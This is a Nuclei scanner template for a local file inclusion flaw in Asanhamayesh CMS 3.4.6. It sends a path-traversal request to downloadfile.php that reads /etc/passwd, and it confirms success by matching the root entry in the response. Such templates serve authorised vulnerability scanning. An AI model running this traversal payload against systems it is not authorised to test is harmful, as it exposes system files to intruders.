id: asanhamayesh-lfi

info:
  name: Asanhamayesh CMS 3.4.6 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Asanhamayesh CMS 3.4.6 is vulnerable to local file inclusion.
  reference:
    - https://cxsecurity.com/issue/WLB-2018030006
    - https://asanhamayesh.com
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
  tags: asanhamayesh,lfi,traversal,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/downloadfile.php?file=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a00463044022008a35300de9373e0b347bbc8fed753031499199dfdd9451f24ae917cf4d9831a02202d49b07055bd743e785aed7cbc5a5781b0b53dfdae4083d08c0530e144374e23:922c64590222798bb761d5b6d8e72950